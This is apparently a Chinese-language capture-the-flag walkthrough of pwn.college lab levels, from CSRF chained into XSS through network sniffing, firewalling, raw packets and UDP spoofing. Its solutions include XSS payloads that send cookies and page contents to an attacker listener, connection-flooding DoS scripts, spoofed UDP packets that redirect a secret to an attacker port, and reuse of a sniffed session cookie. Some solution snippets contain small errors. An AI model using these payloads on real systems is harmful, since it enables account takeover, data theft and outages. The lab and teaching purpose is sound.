/challenge/victim源码会模拟admin在登录后访问http://hacker.localhost:1337/
在此作为CSRF攻击,admin访问http://hacker.localhost:1337/index.html会带着cookie访问http://challenge.localhost/publish从而发布flag
python -m http.server 1337 --bind hacker.localhost
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
# 使用带 SUID 权限的 Python3 解释器运行,并启用 -I(隔离模式),
# 防止加载用户环境变量与 site-packages,提升安全性

import tempfile
import sqlite3
import flask
import os

# 创建 Flask 应用实例
app = flask.Flask(__name__)

# TemporaryDB:用于创建和操作一个临时 SQLite 数据库
# 数据库存储在临时文件中,进程结束后自动清理
class TemporaryDB:
    def __init__(self):
        # 创建一个临时数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    def execute(self, sql, parameters=()):
        # 每次执行 SQL 时新建一个数据库连接
        connection = sqlite3.connect(self.db_file.name)
        # 设置返回结果为 sqlite3.Row,支持按列名访问
        connection.row_factory = sqlite3.Row
        cursor = connection.cursor()
        # 执行 SQL 语句(支持参数化查询)
        result = cursor.execute(sql, parameters)
        # 提交事务
        connection.commit()
        return result

# 如果当前进程是 root(euid == 0),读取真实 flag
# 否则使用假的 flag(防止普通用户直接读到)
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"

# 初始化临时数据库
db = TemporaryDB()

# https://www.sqlite.org/lang_createtable.html
# 创建 posts 表:
# - content:帖子内容(初始为 flag)
# - author:作者(固定为 admin)
# - published:是否发布(初始为 FALSE)
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])

# 创建 users 表:
# - username:用户名(admin)
# - password:密码(flag)
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])

# https://www.sqlite.org/lang_insert.html
# 插入普通用户 guest
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
# 插入普通用户 hacker
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")

# 登录接口,只接受 POST 请求
@app.route("/login", methods=["POST"])
def challenge_login():
    # 从表单中获取用户名和密码
    username = flask.request.form.get("username")
    password = flask.request.form.get("password")

    # 参数校验
    if not username:
        flask.abort(400, "Missing `username` form parameter")
    if not password:
        flask.abort(400, "Missing `password` form parameter")

    # https://www.sqlite.org/lang_select.html
    # 使用参数化查询验证用户名和密码
    user = db.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?",
        (username, password)
    ).fetchone()

    # 如果未查询到用户,返回 403
    if not user:
        flask.abort(403, "Invalid username or password")

    # 登录成功,将用户名写入 session
    flask.session["username"] = username
    # 重定向到主页
    return flask.redirect("/")

# 保存草稿接口
@app.route("/draft", methods=["POST"])
def challenge_draft():
    # 必须先登录
    if "username" not in flask.session:
        flask.abort(403, "Log in first!")

    # 获取帖子内容
    content = flask.request.form.get("content", "")
    # https://www.sqlite.org/lang_insert.html
    # 插入一条帖子记录
    db.execute(
        "INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
        (
            content,
            flask.session.get("username"),
            bool(flask.request.form.get("publish"))
        )
    )
    return flask.redirect("/")

# 发布接口:将当前用户的所有帖子设为已发布
@app.route("/publish", methods=["GET"])
def challenge_publish():
    # 必须先登录
    if "username" not in flask.session:
        flask.abort(403, "Log in first!")

    # https://www.sqlite.org/lang_update.html
    # 将当前用户的帖子全部标记为已发布
    db.execute(
        "UPDATE posts SET published = TRUE WHERE author = ?",
        [flask.session.get("username")]
    )
    return flask.redirect("/")

# 主页接口
@app.route("/", methods=["GET"])
def challenge_get():
    # 页面基础 HTML
    page = "<html><body>\nWelcome to pwnpost, now XSS-free (for admin, at least)!<hr>\n"
    username = flask.session.get("username", None)

    # 如果是 admin 登录
    if username == "admin":
        # 管理员不查看任何帖子,防止 XSS
        page += """<b>To prevent XSS, the admin does not view messages!</b>"""

    # 如果是普通已登录用户
    elif username:
        # 显示发帖表单
        page += """
            <form action=draft method=post>
              Post:<textarea name=content>Write something!</textarea>
              <input type=checkbox name=publish>Publish
              <input type=submit value=Save>
            </form><br><a href=publish>Publish your drafts!</a><hr>
        """

        # 遍历所有帖子
        for post in db.execute("SELECT * FROM posts").fetchall():
            page += f"""<h2>Author: {post["author"]}</h2>"""
            if post["published"]:
                # 已发布的帖子显示完整内容
                page += post["content"] + "<hr>\n"
            else:
                # 草稿只显示前 12 个字符
                page += (
                    f"""(Draft post, showing first 12 characters):<br>"""
                    f"""{post["content"][:12]}<hr>"""
                )

    # 未登录用户
    else:
        # 显示登录表单
        page += """
            <form action=login method=post>
              Username:<input type=text name=username>
              Password:<input type=text name=password>
              <input type=submit name=submit value=Login>
            </form><hr>
        """

    return page + "</body></html>"

# 设置 Flask session 的密钥
app.secret_key = os.urandom(8)

# 设置服务器名(用于 Host 校验)
app.config['SERVER_NAME'] = f"challenge.localhost:80"

# 在 challenge.localhost 的 80 端口启动服务
app.run("challenge.localhost", 80)

CSRF 2 跨站请求伪造2

回想一下,源自JavaScript的请求会遇到同源策略,这使我们在上一关的CSRF攻击稍微复杂了一些。你已经知道了如何在不使用JavaScript的情况下发起GET请求。你能对POST请求做同样的事情吗?

回想一下,典型的POST请求要么是由JavaScript发起的请求(受同源策略限制,不好用),要么是HTML表单提交的结果。你需要使用后者。当然,/challenge/victim不会为你点击提交按钮——你必须自己想办法解决这个问题(提示:JavaScript可以点击那个按钮;请求仍然会算作来自表单!)。

去用POST方式CSRF攻击获取flag吧!

index.html

<!DOCTYPE html>
<html>
  <body>
    <form action="http://challenge.localhost/publish" method="POST" id="csrf-form">
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>
查看解析
同上关,改为POST请求即可

CSRF 3 跨站请求伪造3

让我们开始把一些东西结合起来……CSRF攻击可以导致许多后果,包括其他类型的注入!利用本关的CSRF攻击触发一个XSS,并在http://challenge.localhost的某个地方调用alert("PWNED")


提示: 你很可能想在http://hacker.localhost:1337页面上使用JavaScript,通过URL参数发送带有<script>标签的GET请求。小心:如果你在HTML中编码这个JavaScript,你的<script>标签的字符串(URL参数)中会包含</script>这个词。这个字符串</script>实际上会被你的浏览器解析为你页面实际<script>标签的结束标签,然后一切都会乱套。

如果你遇到这个错误,我们建议在运行于http://hacker.localhost:1337的JavaScript中动态构建那个字符串(例如,"</s"+"cript>")。

index.html

<!DOCTYPE html>
<html>
  <body>
    <form action="http://challenge.localhost:80/ephemeral" method="GET" id="xss-form">
      <input type="hidden" name="msg" value="<script>alert('PWNED')</script>">
    </form>
    <script>
      document.getElementById('xss-form').submit();
    </script>
  </body>
</html>
查看解析
这一次需要admin直接访问/ephemeral输入flag
/challenge/victim会检查是否有alert弹窗出现,如果alert触发且来源是challenge域(伪装得像一些迷惑受害者),则输出flag
@app.route("/ephemeral", methods=["GET"])
def challenge_ephemeral():
    return f"""
        <html><body>
        <h1>You have received an ephemeral message!</h1>
        The message: {flask.request.args.get("msg", "(none)")}  # 直接嵌入用户输入,存在XSS
        <hr><form>Craft an ephemeral message:<input type=text name=msg action=/ephemeral><input type=submit value=Submit></form>
        </body></html>
    """

CSRF 4 跨站请求伪造4

好的,既然你已经弄清楚了从CSRF到XSS的利用链,那么就来实施一次CSRF攻击,导致XSS,进而导致cookie泄露,从而允许你登录并获取flag!


提示: 你的解决方案可能有两层JavaScript:一层运行在你的http://hacker.localhost:1337页面上,另一层运行在反射型XSS中。我们建议首先通过手动触发带有该输入的页面来测试后者,并查看结果。此外,由于这段代码可能很复杂,请非常小心URL编码。例如,+在大多数URL编码器中不会被编码为%2b,但它在URL中是一个特殊字符,会被解码为空格(``)。不用说,如果你在JavaScript中使用+,这可能会导致彻底的混乱。

index.html

<!DOCTYPE html>
<html>
  <body>
    <form action="http://challenge.localhost:80/ephemeral" method="GET" id="xss-form">
      <input type="hidden" name="msg" value="<script>fetch('http://localhost:1337/?cookie=' + encodeURIComponent(document.cookie))</script>">
    </form>
    <script>
      document.getElementById('xss-form').submit();
    </script>
  </body>
</html>
查看解析
admin通过访问CSRF页面导致XSS劫持,从而得到admin的cookie用于登录

CSRF 5 跨站请求伪造5

本关卡关闭了允许你从JavaScript窃取cookie的漏洞。cookie有一个特殊的设置叫做httponly,当这个设置启用时,cookie只能通过HTTP头访问,而不能通过JavaScript访问。这是一种安全措施,旨在防止你一直在做的那种cookie窃取。幸运的是,Flask默认的session cookie被设置为httponly,因此你无法通过JavaScript窃取它。

那么,现在你该如何用你的CSRF-to-XSS把戏来获取flag呢?幸运的是,你并不需要cookie!一旦你在页面内获得了JavaScript执行权限,你就可以自由地fetch()其他页面,而不用担心同源策略,因为你现在处于同一个源中。利用这一点,阅读包含flag的页面,然后获胜!

index.html

<!DOCTYPE html>
<html>
  <body>
    <form action="http://challenge.localhost:80/ephemeral" method="GET" id="xss-form">
      <input type="hidden" name="msg" value="<script>
        fetch('/').then(r => r.text()).then(t => {
          fetch('http://localhost:1234/?leak=' + encodeURIComponent(t));
        });
      </script>">
    </form>

    <script>
      document.getElementById('xss-form').submit();
    </script>
  </body>
</html>
查看解析
这一次无法直接读取cookie,但可以通过XSS在目标域执行代码
因此使用fetch()访问同源资源,读取包含flag的页面

Intercepting Communication 拦截通信

Connect 连接

从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2。

一个很好的方法是使用 nc 命令(发音为 "netcat"),它允许你从命令行打开网络连接。例如,要连接到端口 4242 上的远程主机 10.0.0.42,你可以运行:

nc 10.0.0.42 4242
查看解析
/challenge/run
nc 10.0.0.2 31337

Send 发送

从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2,并发送消息:Hello, World!

和之前一样,你会想使用 netcat 命令。你会注意到 netcat 会挂起(例如,你不会立即返回 shell 提示符),等待连接关闭。你可以像处理大多数挂起的进程一样,按 Ctrl-C 来终止进程。

但在这个挑战中,你需要向远程主机发送一条消息。如果你在终端中输入该消息,不会立即发生任何事情。这是因为你的终端默认会缓冲你键入的输入,直到你按下 Enter!输入消息后按 Enter,一个包含整个消息的数据包将被发送到远程主机。

查看解析
/challenge/run
nc 10.0.0.2 31337
Hello, World!

Shutdown 关闭

从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2,然后关闭连接。

有时连接的另一端希望等待你完成发送所有数据,然后再向你发送回数据。想象这样一种协议:客户端可能需要发送大量数据,持续很长时间,然后服务器才能用最终结果进行响应。在这种情况下,在协议中预先确定总共要发送多少数据可能没有意义,因为客户端可能一开始不知道需要发送多少数据。我们如何处理这种情况?

一种选择是让客户端在最后发送一个数据包,内容就是"END"。但网络数据包可能很复杂,不能保证网络不会将它们拆分或合并。或者,如果你想在数据中发送"END"怎么办?

Netcat 是一个简单的工具,它将标准输入的数据转换为网络数据包,反之亦然,将网络数据包转换为标准输出。那么,如何用 netcat 以这种方式关闭网络连接呢?你执行等效的文件操作:关闭标准输入!在交互式终端会话中,你可以通过按 Ctrl-D 来实现。

不幸的是,netcat 默认可能不会这样做。请查看 netcat 的手册页(man nc),看看是否有办法配置 netcat,使其在关闭标准输入(EOF)后关闭网络连接。

查看解析
/challenge/run
nc -N 10.0.0.2 31337
这样通过按 `Ctrl-D` 来实现关闭终端

Listen 监听

image-20241031165530444

从你的主机 10.0.0.1,监听端口 31337 上来自远程主机 10.0.0.2 的连接。

一旦建立连接,该连接是双向的,这意味着双方都可以发送和接收数据。然而,要实际建立连接,一方必须监听传入的连接,而另一方必须连接到该监听器。这一次,与之前不同,你是监听者。

请查看 netcat 的手册页(man nc),了解如何监听传入连接。

查看解析
/challenge/run
nc -l 31337
使用`-l`表示“监听”(listen),使用这个选项,netcat 将在指定的端口上等待连接,而不是尝试连接到远程主机

Scan 1 扫描1

在这个挑战中,你将尝试连接到远程主机。你必须首先运行 /challenge/run 才能访问网络:/challenge/run 将让你进入一个具有网络访问权限的主机上的 shell。从你的主机 10.0.0.1,连接到 10.0.0.0/24 子网中某个未知的远程主机,端口 31337。

幸运的是,这个子网上只有 256 个可能的主机,所以你可以全部尝试一下!

你可以使用的一个简单工具是 ping。如果你"ping"一个主机,并且它在线,你会得到响应;否则,ping 会超时并警告你无法到达该主机。

例如,尝试 ping 你自己:

ping 10.0.0.1

这将持续 ping 直到你按 Ctrl-C 停止它。

你也可以尝试 ping 一个你知道离线的主机:

timeout 10 ping 10.0.0.2

这将运行 ping(最多)10 秒,但在超时之前你应该会看到 ping 消息,指示主机不可达。

与大多数命令一样,你也可以运行 man ping 来查看 ping 的手册页。

将此视为练习 shell 脚本技能的机会!你当然可以手动 ping 这 256 个主机,但也许使用 for 循环会更容易!

for i in $(seq 10); do
  echo $i
done

重要: 不要忘记运行 /challenge/run 来访问网络,否则你将找不到远程主机。

查看解析
/challenge/run
for i in $(seq 1 255); do ping -c 1 -W 1 10.0.0.$i > /dev/null 2>&1 && echo "10.0.0.$i"; done;
nc 10.0.0.25 31337

Scan 2 扫描2

从你的主机 10.0.0.1,连接到 10.0.0.0/16 子网中某个未知的远程主机,端口 31337。

现在我们的网络开始变大了!这个子网上有 65,536 个可能的主机,因此手动查找远程主机真的会非常痛苦。即使是一个基本的 for 循环,每秒处理 10 个主机,也需要一个多小时才能完成!

我们当然可以通过 shell 脚本来变得更高级(并行化等),但现在,让我们考虑一个专门为这类任务设计的标准工具:nmap

nmap 是一个强大的网络扫描工具,可用于发现计算机网络上的主机和服务。例如,你可以使用以下命令扫描 10.0.0.0/30 上哪些主机在线(以及这些主机上运行的流行服务):

nmap 10.0.0.0/30

在大约 15 秒内,你应该会看到你的主机 10.0.0.1 如预期一样在线。

在进行网络扫描时,必须注意对网络的潜在影响。在默认设置下,nmap 试图至少保持一定的礼貌,不会用大量数据包完全淹没网络。尽管如此,运行网络扫描仍然可能导致网络拥塞,甚至触发安全警报,因此了解潜在影响非常重要。因此,你不应该扫描你不拥有或没有权限扫描的网络!

在这个网络中,我们可以更激进一点,扫描时可以更"粗鲁"一些。你需要查看 nmap 的手册页(man nmap),了解如何加快扫描过程:你特别感兴趣的是每秒发送的数据包数量。禁用一些默认扫描,例如 DNS 解析,也可以加快扫描过程。如有疑问,请使用 -v 查看更多关于 nmap 当前正在做什么的信息。

查看解析
/challenge/run
用更方便的nmap来扫描
nmap 10.0.0.0/24
nc 10.0.0.25 31337

Monitor 1 监控1

监控来自远程主机的流量。你的主机已经在端口 31337 上接收流量。


提示: 你可能想使用 Wireshark 工具。这在 dojo 上已安装,你可以从 10.0.0.1 客户端的终端启动它!确保从那里启动:从其他地方(如工作区的其他终端)启动,Wireshark 将不会在正确的主机上运行!Wireshark 可能需要很长时间才能启动。如果你等待超过一分钟,那么可能出问题了...

查看解析
使用`wireshark`程序并且监视`eth0`网络接口的流量,我们能在一些tcp协议的数据包中收到data数据

image-20241031181122209

Monitor 2 监控2

监控来自远程主机的慢速流量。你的主机已经在端口 31337 上接收流量。

查看解析
使用`wireshark`程序并且监视`eth0`网络接口的流量,我们能在一些tcp流中收到data数据

image-20241031194136234

你已经学会了嗅探流量,但知识只是行动的开始。现在是将其应用于实际安全场景的时候了。窃取管理员的 cookie,并 GET 标志!


提示: 你可以使用完整的 HTTP 工具集,就像你在 Talking Web 中学到的那样,来使用窃取的 cookie!但无论你做什么,请确保在 10.0.0.1 终端中进行,以确保在正确的主机上运行!你可以在后台运行 Wireshark 或任何其他需要的工具(正如你在 The Linux Luminarium 中学到的那样)。

查看解析
使用`wireshark`程序并且监视`eth0`网络接口的流量,我们能在一些tcp流中获取到cookie数据
使用cookie数据登录10.0.0.2
python
import requests
cookies = {
    "session": "eyJ1c2VyIjoiYWRtaW4ifQ.aUOgNg.QDxDhEbdMDJZIMsPlZKXFaUW2qo"
}
responnse = requests.get("http://10.0.0.2/flag", cookies = cookies)
print(response.text)

image-20251218143441443

Network Configuration 网络配置

配置你的网络接口。远程主机 10.0.0.2 正在尝试与端口 31337 上的远程主机 10.0.0.3 通信。

image-20241031204135960

查看解析

我们首先`tcpdump -i any` 用于实时监控网络流量,捕获和查看从远程主机 10.0.0.3 发送到端口 31337 的所有数据包(也能用wireshark进行分析)`-i`指定要监控的网络接口,`any`表示监听系统中所有可用的网络接口
我们可以发现每隔一段时间 10.0.0.3 都会发送ARP包来寻找 10.0.0.2 
接下来将指定的 IP 地址分配给网络接口 eth0,使该接口能够在指定的网络上进行通信
`ip address add 10.0.0.3/16 dev eth0`通过将 10.0.0.2 配置为该接口的 IP 地址,这样我们的主机就能够与 10.0.0.3 进行通信
然后我们监听31337端口,等待 10.0.0.3 给我们传flag
nc -l 31337

Firewall 1 防火墙1

你的主机 10.0.0.1 正在接收端口 31337 上的流量;阻止该流量。

查看解析
/challenge/run
iptables -A INPUT -p tcp --dport 31337 -j DROP
-A:表示 Append(追加),将这条规则添加到指定链的末尾。
INPUT:指定规则作用于 INPUT 链。INPUT 链负责处理发往本机(目标地址是本机)的数据包。
-p:指定协议类型
--dport:指定 目标端口
-j:表示 Jump(跳转),指定匹配规则后的动作。
DROP:直接丢弃数据包,不给发送方任何响应。

Firewall 2 防火墙2

你的主机 10.0.0.1 正在接收端口 31337 上的流量;阻止该流量,但仅阻止来自远程主机 10.0.0.3 的流量,你必须允许来自远程主机 10.0.0.2 的流量。

查看解析
/challenge/run
iptables -A INPUT -p tcp -s 10.0.0.3 --dport 31337 -j DROP
-s 指定 目标地址

Firewall 3 防火墙3

从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2。这一次,我们已阻止到端口 31337 的出站流量,因此你必须首先允许它。

查看解析
/challenge/run
iptables -L OUTPUT -v -n --line-numbers
-L:List(列出) 规则
OUTPUT:仅列出 OUTPUT 链的规则
-v(verbose,详细模式)
-n(numeric,数字格式)
--line-numbers:显示每条规则的行号/序号
iptables -I OUTPUT -p tcp -d 10.0.0.2 --dport 31337 -j ACCEPT
-I(插入到开头)确保这条规则最先被匹配
nc 10.0.0.2 31337

Denial of Service 1 拒绝服务1

客户端 10.0.0.3 正在与端口 31337 上的服务器 10.0.0.2 通信。拒绝此项服务。

查看解析
/challenge/run
对服务器进行持续连接,我们与10.0.0.2保持连接导致10.0.0.3无法与其连接
python
import socket
s = socket.create_connection(("10.0.0.2", 31337))
input("Holding connections open...\n")
1. 导入 socket 模块
2. 尝试建立到 10.0.0.2:31337 的 TCP 连接
3. 如果连接成功,显示提示信息并等待用户输入
4. 用户按回车后,程序结束,连接自动关闭

Denial of Service 2 拒绝服务2

客户端 10.0.0.3 正在与端口 31337 上的服务器 10.0.0.2 通信。拒绝此项服务。

这一次,服务器为每个客户端连接 fork 一个新进程。

查看解析
/challenge/run
对服务不断进行DOS攻击(100次,脚本来源于https://writeups.kunull.net/Pwn%20College/Intro%20to%20Cybersecurity/Intercepting%20Communication)
python
import socket
import time
target = ("10.0.0.2", 31337)
sockets = []
for i in range(100):
    try:
        s = socket.create_connection(target, timeout=1)
        sockets.append(s)
        print(f"Held {i} connections")
        time.sleep(0.05)
    except Exception as e:
        print("Error:", e)
        break
input("Holding connections open...\n")

Denial of Service 3 拒绝服务3

客户端 10.0.0.3 正在与端口 31337 上的服务器 10.0.0.2 通信。拒绝此项服务。

这一次,服务器为每个客户端连接 fork 一个新进程,并将每个会话限制为 1 秒。

查看解析
/challenge/run
对服务不断进行DOS攻击(100次,脚本来源于https://writeups.kunull.net/Pwn%20College/Intro%20to%20Cybersecurity/Intercepting%20Communication)
python
import socket
import time
import threading
def spam():
    while True:
        try:
            s = socket.create_connection(("10.0.0.2", 31337), timeout=1)
            time.sleep(1)  
            s.close()
        except Exception:
            pass
        time.sleep(0.01) 
for _ in range(500):  
    threading.Thread(target=spam, daemon=True).start()
# Keep main thread alive
while True:
    time.sleep(1)

Ethernet 以太网协议

手动发送以太网数据包。数据包应具有 Ether type=0xFFFF。数据包应发送到远程主机 10.0.0.2

查看解析
为了构造以太网数据包,我们首先要获取我们的物理地址`ip a`
python
from scapy.all import * 	#这行代码导入Scapy库中的所有功能和类,以便在后续的代码中使用。这意味着可以直接使用Scapy的各种功能而不需要每次都加上scapy.前缀。
sendp(Ether(src="《你的物理地址》", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")
# sendp() 函数用于发送以太网层的数据包;
#Ether()一个构造以太网帧的函数,用于定义以太网帧的各个字段,src指定源 MAC 地址,type指定以太网类型,表示上层协议的类型;
#`iface`用于指定要通过哪个网络接口发送数据包
也可以直接使用`scapy`库:
scapy
sendp(Ether(src="《你的物理地址》", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")

IP 网络协议

手动发送 Internet 协议数据包。数据包应具有 IP proto=0xFF。数据包应发送到远程主机 10.0.0.2

查看解析

为了构造以IP数据包,我们首先要获取我们的物理地址`ip a`
python
from scapy.all import *
sendp(Ether(src="《你的物理地址》")/IP(proto=0xFF,src='10.0.0.1',dst='10.0.0.2'),iface='eth0')
#`/IP()`中`/`是一种使用操作符重载的语法,其中 Ether(以太网层)是外层,而 IP(网络层)是内层。`IP()`是一个构造 IP 数据包的函数,设置源和目标 IP 地址。以太网帧作为数据链路层的协议,会包含上层协议(如 IP 数据包)的信息;
#proto=0xFF 指定 IP 数据包的协议字段
也可以直接使用`scapy`库:
scapy
sendp(Ether(src="《你的物理地址》", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2", proto=0xFF), iface="eth0")

TCP 传输控制协议

手动发送传输控制协议数据包。数据包应具有 TCP sport=31337, dport=31337, seq=31337, ack=31337, flags=APRSF。数据包应发送到远程主机 10.0.0.2

查看解析
python
from scapy.all import *
sendp(
	Ether(
		src=get_if_hwaddr("eth0"))
	/ IP(
		src="10.0.0.1", dst="10.0.0.2")
	/ TCP(
		sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF")
	, iface="eth0")
#sport	设置源端口
#dport	设置目标端口
#seq	设置 TCP 的序列号
#ack	设置 TCP 的确认号
#flags="APRSF"	设置 TCP 标志位,组合了以下标志:
#A: ACK(确认)
#P: PSH(推送)
#R: RST(重置)
#S: SYN(同步)
#F: FIN(结束)
或者
scapy
sendp(Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"), iface="eth0")
.

TCP Handshake TCP 握手

手动执行传输控制协议握手。初始数据包应具有 TCP sport=31337, dport=31337, seq=31337。握手应与远程主机 10.0.0.2 进行。

image

查看解析
python
from scapy.all import *
results, unanswered = 
srp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/IP(
		src="10.0.0.1", dst="10.0.0.2")
	/TCP(
		sport=31337, dport=31337, seq=31337, flags="S")
	, iface="eth0") 
#results 是接收到的响应列表,unanswered 是未收到响应的数据包列表;
#srp()函数用于发送并接收数据包,适合需要响应的场景;
#dst="ff:ff:ff:ff:ff:ff"说明目标 MAC 地址为广播地址,表示发送给网络中的所有设备。
query, answer = response[0][0]	#从 response 中提取第一个响应。
							#query 代表发送的数据包,answer 代表收到的响应数据包。
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/IP(
		src="10.0.0.1", dst="10.0.0.2")
	/TCP(
		sport=31337, dport=31337, seq=answer["TCP"].ack, ack=answer["TCP"].seq+1, flags="A")
	, iface="eth0")
#seq=answer["TCP"].ack	将序列号设置为收到的 ACK。
#ack=answer["TCP"].seq + 1	设置确认号为接收到的序列号加 1。
#flags="A"	设置 TCP 标志为 ACK(确认)。
或者
scapy
response = srp(Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, flags="S"), iface="eth0")
query, answer = response[0][0]
sendp(Ether(src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.1", dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=answer["TCP"].ack, ack=answer["TCP"].seq+1, flags="A"), iface="eth0")

UDP 用户数据报协议

你现在是 TCP 专家了,如你所知,TCP 是一种很好的协议,适用于一次一个连接地通信。TCP 稳定可靠,但相当复杂。所有这些复杂性,当然,都是以性能为代价的:所有的握手、ACK 等等都需要时间。

作为解决方案,互联网的发明者想出了 UDP:用户数据报协议。UDP 是一个简单得多的协议。与 TCP 跟踪大量信息不同,UDP 头部仅包含源端口、目标端口、长度和数据包校验和。超级简单!

然而,这种简单性也需要一些权衡。没有 TCP 的功能,UDP 缺乏"连接"的概念。每个数据包不固有地链接到任何数据包,如果需要这种链接,网络应用程序本身必须实现它。

这使得编写 UDP 服务器和客户端有点奇怪。使用 UDP 套接字时,套接字 s 不再有 s.listens.accept:你只需 s.recvfrom 来获取数据(返回接收到的字节和发送方的地址,从 UDP 数据包中获取)和 s.sendto(接受要发送的字节和发送方的地址)。因此,一个服务器循环可以同时处理多个客户端交互,但这也很容易以不安全的方式混淆事物。

在这个挑战中,你将建立你的第一个 UDP 连接。从你的主机 10.0.0.1,连接到端口 31337 上的远程主机 10.0.0.2,并发送消息:Hello, World!\n。你可以使用 Python 或 netcat,但我们建议使用前者,因为它在未来的挑战中会更有用。

查看解析
scapy
sr1(IP(dst="10.0.0.2") / UDP(dport=31337) / Raw(load="Hello, World!\n"))
sr1():发送并接受1个响应数据包

UDP 2 用户数据报协议2

虽然我们没有为 TCP 探讨这一点,但除了选择目标端口外,TCP 和 UDP 都可以设置它们的端口。我们将在这里练习 --- 你可以使用套接字上的 s.bind 设置源端口,就像服务器设置监听端口一样。阅读 /challenge/run 的源代码,看看你需要设置什么源端口!


注意: 你必须在发送数据之前设置源端口!否则,Linux 将选择一个随机的源端口(当不调用 bind 时的默认行为)。

查看解析
scapy
sr1(IP(dst="10.0.0.2") / UDP(sport=31338, dport=31337) / Raw(load="Hello, World!\n"))

UDP Spoofing 1 UDP 欺骗1

UDP 有两个危险:首先,它经常用在那些为了性能而走捷径的地方。其次,它迫使程序员显式地跟踪会话。这种组合可能导致安全问题。

在这个挑战中,连接的一方可能会将非受信任的连接误认为是受信任的连接,并打印标志。你能触发这种混淆吗?


注意: 在这个关卡中,当你触发混淆时,标志将直接打印到控制台。我们稍后会探讨如何实际地将其窃取出来。

题目关键源码:

class ServerHost(Host):
    def entrypoint(self):
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        server_socket.bind(("0.0.0.0", 31337))
        while True:
            try:
                client_message, (client_host, client_port) = server_socket.recvfrom(1024)
                if client_message.strip() == b"ACTION?":
                    server_socket.sendto(b"NONE", (client_host, client_port))
            except ConnectionError:
                continue

class ClientHost(Host):
    def entrypoint(self):
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        client_socket.bind(("0.0.0.0", 31338))
        while True:
            time.sleep(1)
            try:
                client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
                message, (peer_host, peer_port) = client_socket.recvfrom(1024)
                if peer_port == 31337 and message.startswith(b"FLAG"):
                    _, flag_host, flag_port = message.strip().split(b":")
                    client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
            except (ConnectionError, ValueError):
                continue
查看解析
客户端定期通过UDP向服务器发送“ACTION?”,当服务器收到`FLAG`,它将实际的flag发送到该地址
我们伪造10.0.0.3客户端的请求发送给服务器10.0.0.2
scapy
send(IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(load="FLAG"))

UDP Spoofing 2 UDP 欺骗2

TCP 提供的功能和 UDP 的极简特性之间存在相当大的差距。有时,开发人员想要一些这些功能,最终在 UDP 之上仅重新实现他们需要的那些功能。这导致了一些奇怪的情况,例如能够触发到其他服务器的出站流量,具有潜在的拒绝服务放大应用。

这个挑战不是直接泄露标志,而是允许你将其重定向到另一个服务器。你能在另一端捕获它吗?


提示: 你需要使用 UDP 服务器来实际接收标志(例如,使用 python 或 netcat),或者即使你没有监听服务器,也可以用 Wireshark 从网络上嗅探它!

题目关键源码:

class ServerHost(Host):
    def entrypoint(self):
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        server_socket.bind(("0.0.0.0", 31337))
        while True:
            try:
                client_message, (client_host, client_port) = server_socket.recvfrom(1024)
                if client_message.strip() == b"ACTION?":
                    server_socket.sendto(b"NONE", (client_host, client_port))
            except ConnectionError:
                continue

class ClientHost(Host):
    def entrypoint(self):
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        while True:
            time.sleep(1)
            try:
                client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
                message, (peer_host, peer_port) = client_socket.recvfrom(1024)
                if peer_port == 31337 and message.startswith(b"FLAG"):
                    _, flag_host, flag_port = message.strip().split(b":")
                    client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
            except (ConnectionError, ValueError):
                continue
查看解析
客户端通过传输数据`FLAG:《IP地址》:《端口》`得到flag
我们伪造10.0.0.3客户端的请求发送给服务器10.0.0.2,并将响应包发送给10.0.0.1:1234
首先监听
/challenge/run
nc -u -lvp 9999 &
# -u : UDP模式
scapy
send(IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(load="FLAG:10.0.0.1:9999"))
1.启动UDP监听器 (端口9999)
2.发送伪造的"FLAG:"消息
3.服务器收到伪造消息,解析目标地址
4.服务器发送flag到攻击者的监听器
5.在nc中看到flag

UDP Spoofing 3 UDP 欺骗3

